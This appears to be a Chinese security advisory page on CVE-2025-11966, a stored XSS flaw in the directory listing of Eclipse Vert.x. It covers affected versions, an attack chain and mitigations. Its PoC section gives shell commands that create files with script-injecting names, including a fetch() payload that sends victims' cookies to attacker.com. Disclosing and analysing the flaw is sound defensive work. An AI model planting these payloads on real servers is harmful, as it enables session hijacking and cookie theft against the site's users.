IPBUF安全漏洞报告
English
CVE-2025-11966 CVSS 6.4 中危

CVE-2025-11966 Eclipse Vert.x目录列表存储型XSS漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-11966
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Eclipse Vert.x

相关标签

XSS存储型XSSCVE-2025-11966Eclipse Vert.x目录列表HTML注入Web安全中危漏洞Java

漏洞概述

CVE-2025-11966是Eclipse Vert.x Web框架中存在的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分为6.4,属于中危级别。该漏洞影响Vert.x 4.0.0至4.5.21版本以及5.0.0至5.0.4版本。

当Vert.x Web组件启用"目录列表"(directory listing)功能时,服务器会将指定路径下的文件和目录以HTML列表的形式展示给访问者。然而,在生成该HTML页面的过程中,Vert.x未对文件和目录的名称进行充分的HTML转义处理,直接将原始文件名插入到了HTML的href属性、title属性和link标签中。

由于缺乏输出编码(output encoding),攻击者可以通过在可访问的目录中创建或重命名文件/目录的方式,构造包含恶意JavaScript或HTML内容的文件名。当合法用户访问该目录列表页面时,嵌入在文件名中的恶意脚本将在用户浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击或其他恶意操作。该漏洞需要攻击者具备在目标路径下创建或重命名文件的权限(低权限要求),属于存储型XSS,危害范围取决于受影响目录的访问权限。

技术细节

## 漏洞原理

Eclipse Vert.x的StaticHandler组件在处理目录列表请求时,会扫描目标目录下的所有条目(文件和子目录),并动态生成一个包含这些条目信息的HTML页面。在生成过程中,文件名被直接拼接到HTML模板中,未经过HTML属性编码(HTML attribute encoding)或HTML实体转义。

具体而言,文件名被插入到以下三个HTML属性/标签中:
1. `<a href="文件名">` - 超链接的href属性
2. `<a title="文件名">` - 超链接的title属性
3. `<link>标签` - 相关链接标签

由于这些属性值未经过适当的转义处理,攻击者可以通过精心构造文件名来注入任意HTML属性和JavaScript代码。

## 利用方式

1. 攻击者首先需要获得目标Web服务器上某个可被目录列表展示的目录的写权限(如文件上传功能、FTP访问、共享目录等)。
2. 攻击者创建一个文件名包含恶意XSS payload的文件或目录,例如:
`" onmouseover="alert(document.cookie)" foo="`
3. 当用户访问该目录的列表页面时,恶意代码将通过HTML属性注入的方式在用户浏览器中执行。
4. 由于是存储型XSS,所有访问该目录列表的用户都会受到影响。

## 影响范围

- 漏洞影响所有启用了目录列表功能且允许用户控制文件名的Vert.x Web应用
- 攻击者仅需低权限(PR:L)即可利用
- 无需用户交互(UI:N),访问即触发
- 可能导致会话劫持、凭据窃取、权限提升等后果

攻击链分析

STEP 1
步骤1:获取写权限
攻击者通过文件上传、FTP、共享目录或其他方式获取Vert.x Web服务器上某个可被目录列表功能展示的目录的写权限(低权限即可)。
STEP 2
步骤2:构造恶意文件名
攻击者创建包含恶意HTML/JavaScript代码的文件或目录名,利用未转义的href、title和link属性进行XSS注入。
STEP 3
步骤3:用户访问目录列表
合法用户通过浏览器访问包含恶意文件的目录列表页面,服务器返回的HTML中嵌入了未转义的恶意文件名。
STEP 4
步骤4:恶意脚本执行
浏览器解析HTML时执行嵌入在文件名属性中的恶意JavaScript代码,攻击者可在用户上下文中执行任意操作,如窃取Cookie、会话令牌或进行钓鱼攻击。
STEP 5
步骤5:数据窃取与权限提升
攻击者利用窃取的会话信息冒充用户身份,可能进一步访问敏感数据或执行特权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11966 - Eclipse Vert.x Directory Listing Stored XSS PoC # This PoC demonstrates how to exploit the stored XSS vulnerability # in Vert.x's directory listing feature by creating a file/directory # with a malicious name containing HTML/JavaScript injection. # Step 1: Create a file or directory with XSS payload in its name # The payload targets the href and title attributes of the <a> tag # generated by Vert.x's StaticHandler directory listing. # Example malicious filename (for Linux/macOS): # Using " onmouseover attribute injection in the title attribute mkdir 'test" onmouseover="alert(document.cookie)' 2>/dev/null # Or create a file with payload targeting href attribute: touch 'evil"><img src=x onerror=alert(1)>.txt' # Step 2: Access the directory listing page # When a victim navigates to the directory listing URL, the payload # executes in their browser context. # # Example URL: http://target-server/path/to/directory/ # Step 3: More sophisticated payload for cookie stealing: # Create directory name that exfiltrates session cookies # Note: Adjust the attacker-controlled server URL PAYLOAD='test" onmouseover="fetch("http://attacker.com/steal?c="+document.cookie)' mkdir "$PAYLOAD" # Step 4: Cleanup # rm -rf "$PAYLOAD" # rm -f 'evil"><img src=x onerror=alert(1)>.txt'

影响范围

Eclipse Vert.x >= 4.0.0, < 4.5.21
Eclipse Vert.x >= 5.0.0, < 5.0.4

防御指南

临时缓解措施
在无法立即升级Vert.x版本的情况下,建议采取以下临时缓解措施:1)禁用StaticHandler的目录列表功能(setDirectoryListing(false));2)对所有用户可控的文件名进行严格的输入验证,禁止包含HTML特殊字符(如<、>、"、'等);3)在HTTP响应头中添加Content-Security-Policy,限制内联脚本执行;4)在反向代理或WAF层面配置XSS过滤规则;5)限制可访问目录列表的目录的写权限,确保只有可信用户能够创建或修改文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表